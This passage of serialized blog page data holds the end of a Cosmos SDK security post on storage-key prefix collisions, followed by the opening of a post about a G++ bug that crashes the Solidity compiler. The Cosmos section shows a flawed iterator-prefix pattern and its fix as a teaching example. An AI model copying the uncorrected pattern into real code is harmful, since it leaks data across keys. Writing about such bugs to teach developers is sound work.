pe":25,"tag":271,"props":102077,"children":102078},{"style":14289},[102079],{"type":30,"value":95031},{"type":25,"tag":271,"props":102081,"children":102082},{"style":13625},[102083],{"type":30,"value":44},{"type":25,"tag":271,"props":102085,"children":102086},{"style":13598},[102087],{"type":30,"value":96752},{"type":25,"tag":271,"props":102089,"children":102090},{"class":13593,"line":16945},[102091],{"type":25,"tag":271,"props":102092,"children":102093},{"style":13625},[102094],{"type":30,"value":16492},{"type":25,"tag":271,"props":102096,"children":102097},{"class":13593,"line":16953},[102098],{"type":25,"tag":271,"props":102099,"children":102100},{"emptyLinePlaceholder":18},[102101],{"type":30,"value":16829},{"type":25,"tag":271,"props":102103,"children":102104},{"class":13593,"line":16984},[102105,102109,102113,102117,102121,102125,102130,102134,102138,102143,102147,102151],{"type":25,"tag":271,"props":102106,"children":102107},{"style":16171},[102108],{"type":30,"value":16412},{"type":25,"tag":271,"props":102110,"children":102111},{"style":13598},[102112],{"type":30,"value":75756},{"type":25,"tag":271,"props":102114,"children":102115},{"style":13625},[102116],{"type":30,"value":44},{"type":25,"tag":271,"props":102118,"children":102119},{"style":13598},[102120],{"type":30,"value":91880},{"type":25,"tag":271,"props":102122,"children":102123},{"style":13603},[102124],{"type":30,"value":89532},{"type":25,"tag":271,"props":102126,"children":102127},{"style":13598},[102128],{"type":30,"value":102129}," values",{"type":25,"tag":271,"props":102131,"children":102132},{"style":13625},[102133],{"type":30,"value":5604},{"type":25,"tag":271,"props":102135,"children":102136},{"style":13598},[102137],{"type":30,"value":98584},{"type":25,"tag":271,"props":102139,"children":102140},{"style":13625},[102141],{"type":30,"value":102142},"]; ",{"type":25,"tag":271,"props":102144,"children":102145},{"style":13603},[102146],{"type":30,"value":33742},{"type":25,"tag":271,"props":102148,"children":102149},{"style":13598},[102150],{"type":30,"value":91880},{"type":25,"tag":271,"props":102152,"children":102153},{"style":13625},[102154],{"type":30,"value":16431},{"type":25,"tag":271,"props":102156,"children":102157},{"class":13593,"line":16992},[102158,102163,102167,102171,102175,102179,102183,102187,102191,102195,102199],{"type":25,"tag":271,"props":102159,"children":102160},{"style":13598},[102161],{"type":30,"value":102162},"            values",{"type":25,"tag":271,"props":102164,"children":102165},{"style":13625},[102166],{"type":30,"value":5604},{"type":25,"tag":271,"props":102168,"children":102169},{"style":13598},[102170],{"type":30,"value":98584},{"type":25,"tag":271,"props":102172,"children":102173},{"style":13625},[102174],{"type":30,"value":21781},{"type":25,"tag":271,"props":102176,"children":102177},{"style":13603},[102178],{"type":30,"value":1065},{"type":25,"tag":271,"props":102180,"children":102181},{"style":13620},[102182],{"type":30,"value":98677},{"type":25,"tag":271,"props":102184,"children":102185},{"style":13625},[102186],{"type":30,"value":394},{"type":25,"tag":271,"props":102188,"children":102189},{"style":14289},[102190],{"type":30,"value":80217},{"type":25,"tag":271,"props":102192,"children":102193},{"style":13625},[102194],{"type":30,"value":5604},{"type":25,"tag":271,"props":102196,"children":102197},{"style":13609},[102198],{"type":30,"value":98282},{"type":25,"tag":271,"props":102200,"children":102201},{"style":13625},[102202],{"type":30,"value":68557},{"type":25,"tag":271,"props":102204,"children":102205},{"class":13593,"line":17052},[102206],{"type":25,"tag":271,"props":102207,"children":102208},{"style":13625},[102209],{"type":30,"value":16492},{"type":25,"tag":271,"props":102211,"children":102212},{"class":13593,"line":22168},[102213],{"type":25,"tag":271,"props":102214,"children":102215},{"emptyLinePlaceholder":18},[102216],{"type":30,"value":16829},{"type":25,"tag":271,"props":102218,"children":102219},{"class":13593,"line":22186},[102220,102225,102229,102233,102237,102241,102245,102249,102253],{"type":25,"tag":271,"props":102221,"children":102222},{"style":13598},[102223],{"type":30,"value":102224},"        values",{"type":25,"tag":271,"props":102226,"children":102227},{"style":13625},[102228],{"type":30,"value":5604},{"type":25,"tag":271,"props":102230,"children":102231},{"style":13598},[102232],{"type":30,"value":98584},{"type":25,"tag":271,"props":102234,"children":102235},{"style":13625},[102236],{"type":30,"value":62074},{"type":25,"tag":271,"props":102238,"children":102239},{"style":13598},[102240],{"type":30,"value":98853},{"type":25,"tag":271,"props":102242,"children":102243},{"style":13625},[102244],{"type":30,"value":21781},{"type":25,"tag":271,"props":102246,"children":102247},{"style":13603},[102248],{"type":30,"value":1065},{"type":25,"tag":271,"props":102250,"children":102251},{"style":13598},[102252],{"type":30,"value":20548},{"type":25,"tag":271,"props":102254,"children":102255},{"style":13625},[102256],{"type":30,"value":16431},{"type":25,"tag":271,"props":102258,"children":102259},{"class":13593,"line":22231},[102260,102264,102268,102273,102277,102282],{"type":25,"tag":271,"props":102261,"children":102262},{"style":13598},[102263],{"type":30,"value":40061},{"type":25,"tag":271,"props":102265,"children":102266},{"style":13625},[102267],{"type":30,"value":28453},{"type":25,"tag":271,"props":102269,"children":102270},{"style":13598},[102271],{"type":30,"value":102272},"iterator",{"type":25,"tag":271,"props":102274,"children":102275},{"style":13625},[102276],{"type":30,"value":1860},{"type":25,"tag":271,"props":102278,"children":102279},{"style":13620},[102280],{"type":30,"value":102281},"Value",{"type":25,"tag":271,"props":102283,"children":102284},{"style":13625},[102285],{"type":30,"value":16636},{"type":25,"tag":271,"props":102287,"children":102288},{"class":13593,"line":22337},[102289],{"type":25,"tag":271,"props":102290,"children":102291},{"style":13625},[102292],{"type":30,"value":16492},{"type":25,"tag":271,"props":102294,"children":102295},{"class":13593,"line":36608},[102296],{"type":25,"tag":271,"props":102297,"children":102298},{"style":13625},[102299],{"type":30,"value":16501},{"type":25,"tag":271,"props":102301,"children":102302},{"class":13593,"line":36643},[102303,102307],{"type":25,"tag":271,"props":102304,"children":102305},{"style":16171},[102306],{"type":30,"value":30111},{"type":25,"tag":271,"props":102308,"children":102309},{"style":13598},[102310],{"type":30,"value":102311}," values\n",{"type":25,"tag":271,"props":102313,"children":102314},{"class":13593,"line":36651},[102315],{"type":25,"tag":271,"props":102316,"children":102317},{"style":13625},[102318],{"type":30,"value":17058},{"type":25,"tag":26,"props":102320,"children":102321},{},[102322,102324,102330,102331,102337,102339,102344,102346,102351,102353,102358,102360,102366,102368,102374],{"type":30,"value":102323},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":25,"tag":264,"props":102325,"children":102327},{"className":102326},[],[102328],{"type":30,"value":102329},"vaultId = 1",{"type":30,"value":12218},{"type":25,"tag":264,"props":102332,"children":102334},{"className":102333},[],[102335],{"type":30,"value":102336},"vaultId = 10",{"type":30,"value":102338}," coexist. If we try to fetch data under ",{"type":25,"tag":264,"props":102340,"children":102342},{"className":102341},[],[102343],{"type":30,"value":102329},{"type":30,"value":102345},", all entries under ",{"type":25,"tag":264,"props":102347,"children":102349},{"className":102348},[],[102350],{"type":30,"value":102336},{"type":30,"value":102352}," will also be returned simply because ",{"type":25,"tag":264,"props":102354,"children":102356},{"className":102355},[],[102357],{"type":30,"value":968},{"type":30,"value":102359}," is a prefix of ",{"type":25,"tag":264,"props":102361,"children":102363},{"className":102362},[],[102364],{"type":30,"value":102365},"10",{"type":30,"value":102367},". To fix this, we must once again append the ",{"type":25,"tag":264,"props":102369,"children":102371},{"className":102370},[],[102372],{"type":30,"value":102373},"Separator",{"type":30,"value":102375}," to the iterator prefix.",{"type":25,"tag":7764,"props":102377,"children":102379},{"code":102378,"language":89280,"meta":7,"className":89281,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[102380],{"type":25,"tag":264,"props":102381,"children":102382},{"__ignoreMap":7},[102383,102410,102422,102475],{"type":25,"tag":271,"props":102384,"children":102385},{"class":13593,"line":13594},[102386,102390,102394,102398,102402,102406],{"type":25,"tag":271,"props":102387,"children":102388},{"style":13598},[102389],{"type":30,"value":1937},{"type":25,"tag":271,"props":102391,"children":102392},{"style":13603},[102393],{"type":30,"value":89532},{"type":25,"tag":271,"props":102395,"children":102396},{"style":13598},[102397],{"type":30,"value":91754},{"type":25,"tag":271,"props":102399,"children":102400},{"style":13625},[102401],{"type":30,"value":1860},{"type":25,"tag":271,"props":102403,"children":102404},{"style":13620},[102405],{"type":30,"value":101569},{"type":25,"tag":271,"props":102407,"children":102408},{"style":13625},[102409],{"type":30,"value":16609},{"type":25,"tag":271,"props":102411,"children":102412},{"class":13593,"line":11641},[102413,102418],{"type":25,"tag":271,"props":102414,"children":102415},{"style":13598},[102416],{"type":30,"value":102417},"    kvStore",{"type":25,"tag":271,"props":102419,"children":102420},{"style":13625},[102421],{"type":30,"value":14351},{"type":25,"tag":271,"props":102423,"children":102424},{"class":13593,"line":14354},[102425,102430,102434,102438,102442,102447,102451,102455,102459,102463,102467,102471],{"type":25,"tag":271,"props":102426,"children":102427},{"style":13598},[102428],{"type":30,"value":102429},"    fmt",{"type":25,"tag":271,"props":102431,"children":102432},{"style":13625},[102433],{"type":30,"value":1860},{"type":25,"tag":271,"props":102435,"children":102436},{"style":13620},[102437],{"type":30,"value":98336},{"type":25,"tag":271,"props":102439,"children":102440},{"style":13625},[102441],{"type":30,"value":394},{"type":25,"tag":271,"props":102443,"children":102444},{"style":17388},[102445],{"type":30,"value":102446},"\"%s%d%s\"",{"type":25,"tag":271,"props":102448,"children":102449},{"style":13625},[102450],{"type":30,"value":44},{"type":25,"tag":271,"props":102452,"children":102453},{"style":13598},[102454],{"type":30,"value":101619},{"type":25,"tag":271,"props":102456,"children":102457},{"style":13625},[102458],{"type":30,"value":44},{"type":25,"tag":271,"props":102460,"children":102461},{"style":13598},[102462],{"type":30,"value":101404},{"type":25,"tag":271,"props":102464,"children":102465},{"style":13625},[102466],{"type":30,"value":44},{"type":25,"tag":271,"props":102468,"children":102469},{"style":13598},[102470],{"type":30,"value":101735},{"type":25,"tag":271,"props":102472,"children":102473},{"style":13625},[102474],{"type":30,"value":19860},{"type":25,"tag":271,"props":102476,"children":102477},{"class":13593,"line":14391},[102478],{"type":25,"tag":271,"props":102479,"children":102480},{"style":13625},[102481],{"type":30,"value":16299},{"type":25,"tag":26,"props":102483,"children":102484},{},[102485,102487,102492],{"type":30,"value":102486},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":25,"tag":264,"props":102488,"children":102490},{"className":102489},[],[102491],{"type":30,"value":98090},{"type":30,"value":102493}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":25,"tag":26,"props":102495,"children":102496},{},[102497],{"type":30,"value":102498},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":25,"tag":247,"props":102500,"children":102502},{"id":102501},"real-world-examples-5",[102503],{"type":30,"value":89803},{"type":25,"tag":26,"props":102505,"children":102506},{},[102507,102508,102513,102515,102522,102524,102530],{"type":30,"value":10272},{"type":25,"tag":264,"props":102509,"children":102511},{"className":102510},[],[102512],{"type":30,"value":91575},{"type":30,"value":102514}," previously lacked protection against KVStore ",{"type":25,"tag":83,"props":102516,"children":102519},{"href":102517,"rel":102518},"https://github.com/cosmos/cosmos-sdk/pull/9363",[9066],[102520],{"type":30,"value":102521},"key collisions",{"type":30,"value":102523},". This prior oversight allowed developers to unintentionally create two ",{"type":25,"tag":264,"props":102525,"children":102527},{"className":102526},[],[102528],{"type":30,"value":102529},"KVStores",{"type":30,"value":102531}," that were not independent of each other.",{"type":25,"tag":26,"props":102533,"children":102534},{},[102535],{"type":25,"tag":83,"props":102536,"children":102539},{"href":102537,"rel":102538},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[9066],[102540],{"type":30,"value":89853},{"type":25,"tag":7764,"props":102542,"children":102544},{"code":102543,"language":89280,"meta":7,"className":89281,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[102545],{"type":25,"tag":264,"props":102546,"children":102547},{"__ignoreMap":7},[102548,102610,102658,102694,102734,102741,102748,102760],{"type":25,"tag":271,"props":102549,"children":102550},{"class":13593,"line":13594},[102551,102555,102560,102564,102569,102573,102577,102581,102585,102589,102593,102597,102601,102606],{"type":25,"tag":271,"props":102552,"children":102553},{"style":14289},[102554],{"type":30,"value":89416},{"type":25,"tag":271,"props":102556,"children":102557},{"style":13620},[102558],{"type":30,"value":102559}," NewKVStoreKeys",{"type":25,"tag":271,"props":102561,"children":102562},{"style":13625},[102563],{"type":30,"value":394},{"type":25,"tag":271,"props":102565,"children":102566},{"style":13598},[102567],{"type":30,"value":102568},"names",{"type":25,"tag":271,"props":102570,"children":102571},{"style":13603},[102572],{"type":30,"value":38409},{"type":25,"tag":271,"props":102574,"children":102575},{"style":13609},[102576],{"type":30,"value":42779},{"type":25,"tag":271,"props":102578,"children":102579},{"style":13625},[102580],{"type":30,"value":14406},{"type":25,"tag":271,"props":102582,"children":102583},{"style":14289},[102584],{"type":30,"value":80217},{"type":25,"tag":271,"props":102586,"children":102587},{"style":13625},[102588],{"type":30,"value":5604},{"type":25,"tag":271,"props":102590,"children":102591},{"style":13609},[102592],{"type":30,"value":42779},{"type":25,"tag":271,"props":102594,"children":102595},{"style":13625},[102596],{"type":30,"value":5630},{"type":25,"tag":271,"props":102598,"children":102599},{"style":13603},[102600],{"type":30,"value":17702},{"type":25,"tag":271,"props":102602,"children":102603},{"style":13609},[102604],{"type":30,"value":102605},"KVStoreKey",{"type":25,"tag":271,"props":102607,"children":102608},{"style":13625},[102609],{"type":30,"value":16431},{"type":25,"tag":271,"props":102611,"children":102612},{"class":13593,"line":11641},[102613,102618,102622,102626,102630,102634,102638,102642,102646,102650,102654],{"type":25,"tag":271,"props":102614,"children":102615},{"style":13598},[102616],{"type":30,"value":102617},"    keys",{"type":25,"tag":271,"props":102619,"children":102620},{"style":13603},[102621],{"type":30,"value":89532},{"type":25,"tag":271,"props":102623,"children":102624},{"style":13620},[102625],{"type":30,"value":98677},{"type":25,"tag":271,"props":102627,"children":102628},{"style":13625},[102629],{"type":30,"value":394},{"type":25,"tag":271,"props":102631,"children":102632},{"style":14289},[102633],{"type":30,"value":80217},{"type":25,"tag":271,"props":102635,"children":102636},{"style":13625},[102637],{"type":30,"value":5604},{"type":25,"tag":271,"props":102639,"children":102640},{"style":13609},[102641],{"type":30,"value":42779},{"type":25,"tag":271,"props":102643,"children":102644},{"style":13625},[102645],{"type":30,"value":5630},{"type":25,"tag":271,"props":102647,"children":102648},{"style":13603},[102649],{"type":30,"value":17702},{"type":25,"tag":271,"props":102651,"children":102652},{"style":13609},[102653],{"type":30,"value":102605},{"type":25,"tag":271,"props":102655,"children":102656},{"style":13625},[102657],{"type":30,"value":16299},{"type":25,"tag":271,"props":102659,"children":102660},{"class":13593,"line":14354},[102661,102665,102669,102673,102677,102681,102685,102690],{"type":25,"tag":271,"props":102662,"children":102663},{"style":16171},[102664],{"type":30,"value":16174},{"type":25,"tag":271,"props":102666,"children":102667},{"style":13598},[102668],{"type":30,"value":16179},{"type":25,"tag":271,"props":102670,"children":102671},{"style":13625},[102672],{"type":30,"value":44},{"type":25,"tag":271,"props":102674,"children":102675},{"style":13598},[102676],{"type":30,"value":61614},{"type":25,"tag":271,"props":102678,"children":102679},{"style":13603},[102680],{"type":30,"value":89532},{"type":25,"tag":271,"props":102682,"children":102683},{"style":16171},[102684],{"type":30,"value":90512},{"type":25,"tag":271,"props":102686,"children":102687},{"style":13598},[102688],{"type":30,"value":102689}," names",{"type":25,"tag":271,"props":102691,"children":102692},{"style":13625},[102693],{"type":30,"value":16431},{"type":25,"tag":271,"props":102695,"children":102696},{"class":13593,"line":14391},[102697,102701,102705,102709,102713,102717,102722,102726,102730],{"type":25,"tag":271,"props":102698,"children":102699},{"style":13598},[102700],{"type":30,"value":38441},{"type":25,"tag":271,"props":102702,"children":102703},{"style":13625},[102704],{"type":30,"value":5604},{"type":25,"tag":271,"props":102706,"children":102707},{"style":13598},[102708],{"type":30,"value":61614},{"type":25,"tag":271,"props":102710,"children":102711},{"style":13625},[102712],{"type":30,"value":21781},{"type":25,"tag":271,"props":102714,"children":102715},{"style":13603},[102716],{"type":30,"value":1065},{"type":25,"tag":271,"props":102718,"children":102719},{"style":13620},[102720],{"type":30,"value":102721}," NewKVStoreKey",{"type":25,"tag":271,"props":102723,"children":102724},{"style":13625},[102725],{"type":30,"value":394},{"type":25,"tag":271,"props":102727,"children":102728},{"style":13598},[102729],{"type":30,"value":61614},{"type":25,"tag":271,"props":102731,"children":102732},{"style":13625},[102733],{"type":30,"value":16299},{"type":25,"tag":271,"props":102735,"children":102736},{"class":13593,"line":14400},[102737],{"type":25,"tag":271,"props":102738,"children":102739},{"style":13625},[102740],{"type":30,"value":16501},{"type":25,"tag":271,"props":102742,"children":102743},{"class":13593,"line":16406},[102744],{"type":25,"tag":271,"props":102745,"children":102746},{"emptyLinePlaceholder":18},[102747],{"type":30,"value":16829},{"type":25,"tag":271,"props":102749,"children":102750},{"class":13593,"line":16434},[102751,102755],{"type":25,"tag":271,"props":102752,"children":102753},{"style":16171},[102754],{"type":30,"value":30111},{"type":25,"tag":271,"props":102756,"children":102757},{"style":13598},[102758],{"type":30,"value":102759}," keys\n",{"type":25,"tag":271,"props":102761,"children":102762},{"class":13593,"line":16447},[102763],{"type":25,"tag":271,"props":102764,"children":102765},{"style":13625},[102766],{"type":30,"value":17058},{"type":25,"tag":26,"props":102768,"children":102769},{},[102770,102772,102777,102779,102784,102786,102791],{"type":30,"value":102771},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":25,"tag":264,"props":102773,"children":102775},{"className":102774},[],[102776],{"type":30,"value":91575},{"type":30,"value":102778}," will refuse to run if any ",{"type":25,"tag":264,"props":102780,"children":102782},{"className":102781},[],[102783],{"type":30,"value":98090},{"type":30,"value":102785}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":25,"tag":264,"props":102787,"children":102789},{"className":102788},[],[102790],{"type":30,"value":98090},{"type":30,"value":102792}," level.",{"type":25,"tag":26,"props":102794,"children":102795},{},[102796,102798,102805],{"type":30,"value":102797},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":25,"tag":83,"props":102799,"children":102802},{"href":102800,"rel":102801},"https://github.com/cosmos/cosmos-sdk/issues/12661",[9066],[102803],{"type":30,"value":102804},"incorrect iterator behavior",{"type":30,"value":1860},{"type":25,"tag":26,"props":102807,"children":102808},{},[102809,102811,102818],{"type":30,"value":102810},"Notably, gradual adoption of the ",{"type":25,"tag":83,"props":102812,"children":102815},{"href":102813,"rel":102814},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[9066],[102816],{"type":30,"value":102817},"collections",{"type":30,"value":102819}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":25,"tag":96,"props":102821,"children":102822},{"id":42044},[102823],{"type":30,"value":32068},{"type":25,"tag":26,"props":102825,"children":102826},{},[102827],{"type":30,"value":102828},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":25,"tag":26,"props":102830,"children":102831},{},[102832],{"type":30,"value":102833},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":25,"tag":15963,"props":102835,"children":102836},{},[102837],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":102839},[102840,102841,102844,102847,102850,102853,102856,102859],{"id":42127,"depth":11641,"text":42130},{"id":88997,"depth":11641,"text":89000,"children":102842},[102843],{"id":89800,"depth":14354,"text":89803},{"id":90395,"depth":11641,"text":90398,"children":102845},[102846],{"id":91044,"depth":14354,"text":89803},{"id":91541,"depth":11641,"text":91544,"children":102848},[102849],{"id":92841,"depth":14354,"text":89803},{"id":94185,"depth":11641,"text":94188,"children":102851},[102852],{"id":94723,"depth":14354,"text":89803},{"id":96242,"depth":11641,"text":96245,"children":102854},[102855],{"id":97122,"depth":14354,"text":89803},{"id":98076,"depth":11641,"text":98079,"children":102857},[102858],{"id":102501,"depth":14354,"text":89803},{"id":42044,"depth":11641,"text":32068},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":102864,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102865,"description":102866,"author":102867,"image":102868,"date":102870,"tags":102871,"isFeatured":18,"onBlogPage":18,"body":102872,"_type":16004,"_id":105581,"_source":16006,"_file":105582,"_stem":105583,"_extension":16009},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":102869,"height":17,"width":17},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[17605,42122],{"type":22,"children":102873,"toc":105565},[102874,102879,103016,103021,103026,103031,103036,103149,103154,103159,103164,103204,103217,103222,103240,103245,103248,103254,103268,103281,103286,103299,103304,103316,103329,103334,103337,103343,103349,103406,103411,103417,103431,103466,103474,103482,103502,103508,103513,103953,103961,104005,104010,104018,104026,104065,104070,104078,104083,104086,104092,104098,104123,104135,104162,104195,104200,104203,104209,104228,104746,104759,104777,104800,104811,104816,104919,104924,104929,104943,104948,105024,105042,105047,105050,105056,105068,105080,105420,105425,105443,105448,105451,105457,105462,105480,105500,105503,105509,105528,105531,105535,105540,105551,105556,105561],{"type":25,"tag":26,"props":102875,"children":102876},{},[102877],{"type":30,"value":102878},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":25,"tag":7764,"props":102880,"children":102882},{"code":102881,"language":17605,"meta":7,"className":17606,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[102883],{"type":25,"tag":264,"props":102884,"children":102885},{"__ignoreMap":7},[102886,102894,102912,102919,102936,102978,103002,103009],{"type":25,"tag":271,"props":102887,"children":102888},{"class":13593,"line":13594},[102889],{"type":25,"tag":271,"props":102890,"children":102891},{"style":14385},[102892],{"type":30,"value":102893},"// SPDX-License-Identifier: UNLICENSED\n",{"type":25,"tag":271,"props":102895,"children":102896},{"class":13593,"line":11641},[102897,102902,102907],{"type":25,"tag":271,"props":102898,"children":102899},{"style":16171},[102900],{"type":30,"value":102901},"pragma",{"type":25,"tag":271,"props":102903,"children":102904},{"style":14289},[102905],{"type":30,"value":102906}," solidity",{"type":25,"tag":271,"props":102908,"children":102909},{"style":13625},[102910],{"type":30,"value":102911}," ^0.8.25;\n",{"type":25,"tag":271,"props":102913,"children":102914},{"class":13593,"line":14354},[102915],{"type":25,"tag":271,"props":102916,"children":102917},{"emptyLinePlaceholder":18},[102918],{"type":30,"value":16829},{"type":25,"tag":271,"props":102920,"children":102921},{"class":13593,"line":14391},[102922,102927,102932],{"type":25,"tag":271,"props":102923,"children":102924},{"style":14289},[102925],{"type":30,"value":102926},"contract",{"type":25,"tag":271,"props":102928,"children":102929},{"style":13609},[102930],{"type":30,"value":102931}," A",{"type":25,"tag":271,"props":102933,"children":102934},{"style":13625},[102935],{"type":30,"value":16431},{"type":25,"tag":271,"props":102937,"children":102938},{"class":13593,"line":14400},[102939,102944,102949,102953,102957,102962,102966,102970,102974],{"type":25,"tag":271,"props":102940,"children":102941},{"style":14289},[102942],{"type":30,"value":102943},"    function",{"type":25,"tag":271,"props":102945,"children":102946},{"style":13620},[102947],{"type":30,"value":102948}," a",{"type":25,"tag":271,"props":102950,"children":102951},{"style":13625},[102952],{"type":30,"value":27164},{"type":25,"tag":271,"props":102954,"children":102955},{"style":14289},[102956],{"type":30,"value":10331},{"type":25,"tag":271,"props":102958,"children":102959},{"style":14289},[102960],{"type":30,"value":102961}," pure",{"type":25,"tag":271,"props":102963,"children":102964},{"style":16171},[102965],{"type":30,"value":89109},{"type":25,"tag":271,"props":102967,"children":102968},{"style":13625},[102969],{"type":30,"value":16213},{"type":25,"tag":271,"props":102971,"children":102972},{"style":13609},[102973],{"type":30,"value":59283},{"type":25,"tag":271,"props":102975,"children":102976},{"style":13625},[102977],{"type":30,"value":27925},{"type":25,"tag":271,"props":102979,"children":102980},{"class":13593,"line":16406},[102981,102985,102989,102994,102998],{"type":25,"tag":271,"props":102982,"children":102983},{"style":16171},[102984],{"type":30,"value":28866},{"type":25,"tag":271,"props":102986,"children":102987},{"style":16187},[102988],{"type":30,"value":17654},{"type":25,"tag":271,"props":102990,"children":102991},{"style":13603},[102992],{"type":30,"value":102993}," **",{"type":25,"tag":271,"props":102995,"children":102996},{"style":16187},[102997],{"type":30,"value":21056},{"type":25,"tag":271,"props":102999,"children":103000},{"style":13625},[103001],{"type":30,"value":16165},{"type":25,"tag":271,"props":103003,"children":103004},{"class":13593,"line":16434},[103005],{"type":25,"tag":271,"props":103006,"children":103007},{"style":13625},[103008],{"type":30,"value":16501},{"type":25,"tag":271,"props":103010,"children":103011},{"class":13593,"line":16447},[103012],{"type":25,"tag":271,"props":103013,"children":103014},{"style":13625},[103015],{"type":30,"value":17058},{"type":25,"tag":26,"props":103017,"children":103018},{},[103019],{"type":30,"value":103020},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":25,"tag":26,"props":103022,"children":103023},{},[103024],{"type":30,"value":103025},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":25,"tag":26,"props":103027,"children":103028},{},[103029],{"type":30,"value":103030},"And yet, it crashes.",{"type":25,"tag":26,"props":103032,"children":103033},{},[103034],{"type":30,"value":103035},"Another minimal example?",{"type":25,"tag":7764,"props":103037,"children":103039},{"code":103038,"language":17605,"meta":7,"className":17606,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[103040],{"type":25,"tag":264,"props":103041,"children":103042},{"__ignoreMap":7},[103043,103050,103065,103072,103087,103114,103135,103142],{"type":25,"tag":271,"props":103044,"children":103045},{"class":13593,"line":13594},[103046],{"type":25,"tag":271,"props":103047,"children":103048},{"style":14385},[103049],{"type":30,"value":102893},{"type":25,"tag":271,"props":103051,"children":103052},{"class":13593,"line":11641},[103053,103057,103061],{"type":25,"tag":271,"props":103054,"children":103055},{"style":16171},[103056],{"type":30,"value":102901},{"type":25,"tag":271,"props":103058,"children":103059},{"style":14289},[103060],{"type":30,"value":102906},{"type":25,"tag":271,"props":103062,"children":103063},{"style":13625},[103064],{"type":30,"value":102911},{"type":25,"tag":271,"props":103066,"children":103067},{"class":13593,"line":14354},[103068],{"type":25,"tag":271,"props":103069,"children":103070},{"emptyLinePlaceholder":18},[103071],{"type":30,"value":16829},{"type":25,"tag":271,"props":103073,"children":103074},{"class":13593,"line":14391},[103075,103079,103083],{"type":25,"tag":271,"props":103076,"children":103077},{"style":14289},[103078],{"type":30,"value":102926},{"type":25,"tag":271,"props":103080,"children":103081},{"style":13609},[103082],{"type":30,"value":102931},{"type":25,"tag":271,"props":103084,"children":103085},{"style":13625},[103086],{"type":30,"value":16431},{"type":25,"tag":271,"props":103088,"children":103089},{"class":13593,"line":14400},[103090,103094,103098,103102,103106,103110],{"type":25,"tag":271,"props":103091,"children":103092},{"style":14289},[103093],{"type":30,"value":102943},{"type":25,"tag":271,"props":103095,"children":103096},{"style":13620},[103097],{"type":30,"value":102948},{"type":25,"tag":271,"props":103099,"children":103100},{"style":13625},[103101],{"type":30,"value":27164},{"type":25,"tag":271,"props":103103,"children":103104},{"style":14289},[103105],{"type":30,"value":10331},{"type":25,"tag":271,"props":103107,"children":103108},{"style":14289},[103109],{"type":30,"value":102961},{"type":25,"tag":271,"props":103111,"children":103112},{"style":13625},[103113],{"type":30,"value":16431},{"type":25,"tag":271,"props":103115,"children":103116},{"class":13593,"line":16406},[103117,103122,103126,103130],{"type":25,"tag":271,"props":103118,"children":103119},{"style":13609},[103120],{"type":30,"value":103121},"        uint256",{"type":25,"tag":271,"props":103123,"children":103124},{"style":13625},[103125],{"type":30,"value":5604},{"type":25,"tag":271,"props":103127,"children":103128},{"style":16187},[103129],{"type":30,"value":968},{"type":25,"tag":271,"props":103131,"children":103132},{"style":13625},[103133],{"type":30,"value":103134},"] data;\n",{"type":25,"tag":271,"props":103136,"children":103137},{"class":13593,"line":16434},[103138],{"type":25,"tag":271,"props":103139,"children":103140},{"style":13625},[103141],{"type":30,"value":16501},{"type":25,"tag":271,"props":103143,"children":103144},{"class":13593,"line":16447},[103145],{"type":25,"tag":271,"props":103146,"children":103147},{"style":13625},[103148],{"type":30,"value":17058},{"type":25,"tag":26,"props":103150,"children":103151},{},[103152],{"type":30,"value":103153},"Still crashes.",{"type":25,"tag":26,"props":103155,"children":103156},{},[103157],{"type":30,"value":103158},"So what’s going on?",{"type":25,"tag":26,"props":103160,"children":103161},{},[103162],{"type":30,"value":103163},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":25,"tag":7764,"props":103165,"children":103167},{"code":103166,"language":42224,"meta":7,"className":42222,"style":7},"if (*lengthValue == 0) { ... 